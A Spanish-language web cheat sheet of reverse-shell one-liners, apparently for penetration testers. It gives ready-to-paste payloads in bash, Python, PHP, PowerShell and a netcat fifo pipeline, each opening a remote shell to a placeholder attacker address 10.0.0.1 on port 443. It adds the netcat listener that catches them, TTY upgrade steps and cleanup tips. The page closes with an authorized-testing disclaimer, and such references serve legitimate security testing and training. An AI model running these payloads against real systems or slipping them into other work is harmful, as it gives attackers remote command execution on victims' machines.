Skip to content
reverseshell

Chuleta de reverse shells: one-liners, listener y mejora

Una chuleta de reverse shells de referencia rápida: one-liners de bash, python, php, powershell y netcat, el listener para capturarlos y la mejora de TTY, con enlaces a la guía completa de cada uno.

Publicado el 2 min de lectura

Una chuleta de reverse shells solo es útil si es correcta y entiendes lo que hace cada línea. Esta es la versión breve: los one-liners a los que recurres más a menudo, el listener que los captura y la mejora que hace que la shell sea usable. Cada sección enlaza con la guía completa por si un payload se comporta mal. Sustituye 10.0.0.1 por tu LHOST y 443 por tu LPORT en todo el documento; o evítate el copiar y pegar y usa el generador de reverse shells, que rellena ambos y empareja cada payload con su listener.

¿Nuevo en el concepto? Empieza por qué es un reverse shell.

1. Arranca tu listener primero

Ten siempre el listener escuchando antes de disparar el payload:

nc -lvnp 443

Usa ncat -lvnp 443 --ssl si tu payload usa TLS. Detalles del listener y cuándo dar el salto más allá de nc: elegir un listener.

2. Los one-liners

Bash (necesita bash, no sh; guía completa: reverse shells con bash):

bash -i >& /dev/tcp/10.0.0.1/443 0>&1

Python (atento a python frente a python3; guía completa: reverse shells con python):

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'

Netcat cuando falta -e (guía completa: reverse shells con netcat):

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 443 > /tmp/f

PHP para una aplicación web comprometida (guía completa: reverse shells con php):

php -r '$sock=fsockopen("10.0.0.1",443);exec("/bin/sh -i <&3 >&3 2>&3");'

PowerShell en Windows (guía completa: reverse shells con powershell, reverse shells en windows):

$c=New-Object System.Net.Sockets.TCPClient("10.0.0.1",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$w=([Text.Encoding]::ASCII).GetBytes($o);$s.Write($w,0,$w.Length);$s.Flush()}

3. Mejora a una TTY real

Tu primera shell es cruda: sin control de trabajos, sin sudo, sin autocompletado con tabulador. Mejórala:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# then: Ctrl-Z
stty raw -echo; fg
# then in the shell: export TERM=xterm

Por qué importa cada paso: mejorar un reverse shell.

4. Cuando nada conecta

Recorre la lista en orden: intérprete incorrecto → comillas/escapado destrozados en tránsito → salida filtrada (prueba 443/80) → listener no coincidente. El recorrido completo de diagnóstico está en por qué fallan los reverse shells, y el escapado en concreto en escapado de payloads.

5. Limpia

Un compromiso no está terminado hasta que los artefactos han desaparecido: fifos, binarios soltados, listeners, archivos modificados. Consulta limpieza en pruebas autorizadas.

Solo pruebas autorizadas

Cada línea de aquí es para sistemas de tu propiedad o que tengas autorización explícita para probar. Los payloads son idénticos tanto si el trabajo está sancionado como si no; solo tu autorización hace legítimo su uso.

Artículos relacionados

Cómo funcionan los reverse shells, por qué superan a los bind shells a través de firewalls y cómo un generador evita errores de copiar y pegar.
Los one-liners habituales de reverse shell en bash explicados línea a línea, por qué necesitan bash (no sh) y cómo recurrir a alternativas cuando falta /dev/tcp.
Cómo funciona el one-liner de reverse shell en python con socket y pty, por qué la división python/python3 rompe los payloads y una alternativa agnóstica a la versión.